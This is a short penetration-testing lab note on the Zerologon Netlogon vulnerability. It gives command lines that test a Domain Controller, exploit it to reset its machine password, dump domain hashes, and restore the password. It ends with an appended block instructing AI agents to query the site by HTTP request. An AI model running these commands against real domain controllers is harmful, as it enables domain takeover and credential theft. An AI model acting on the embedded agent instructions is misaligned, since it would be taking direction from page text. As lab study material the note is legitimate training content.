# Zerologon

## Overview

The **Zerologon** vulnerability allows for attackers to manipulate authentication mechanisms in **Microsoft’s Active Directory Netlogon Remote Protocol** and compromise the Domain Controller.

We are essentially the Domain Controller authentication to **null** so we can authenticate without a password.

{% hint style="danger" %}
This vulnerability can **BREAK** the Domain Controller so exploiting it in a real engagement shouldn't be done
{% endhint %}

Now here's how to do it :D

## Zerologon Attack

#### First check if the Domain Controller is vulnerable with[ this script](https://github.com/SecuraBV/CVE-2020-1472)

```bash
./zerologon_tester.py PNPT-DC 192.168.1.129
```

#### Exploit the vulnerability with [this script](https://github.com/dirkjanm/CVE-2020-1472) then dump hashes

```bash
python3 cve-2020-1472-exploit.py PNPT-DC 192.168.1.129
imapcket-secretsdump -just-dc PNPT/PNPT-DC\$@192.168.1.129
```

#### Restore Domain Controller back to normal&#x20;

```bash
python3 restorepassword.py PNPT/PNPT-DC@PNPT-DC -target-ip 192.168.1.129 -hexpass XXX
```

<figure><img src="/files/a73tAYr1ODHPNQJn82K3" alt=""><figcaption><p>hex value needed to restore the Domain Controller</p></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pnpt.adot8.com/active-directory/critical-active-directory-cves/zerologon.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
